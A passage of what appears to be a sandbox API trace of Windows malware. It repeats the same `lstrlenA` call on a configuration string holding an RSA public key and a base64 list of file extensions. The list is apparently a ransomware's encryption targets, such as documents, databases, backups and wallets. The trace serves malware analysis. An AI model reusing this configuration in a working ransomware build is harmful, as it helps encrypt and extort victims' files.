ZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLC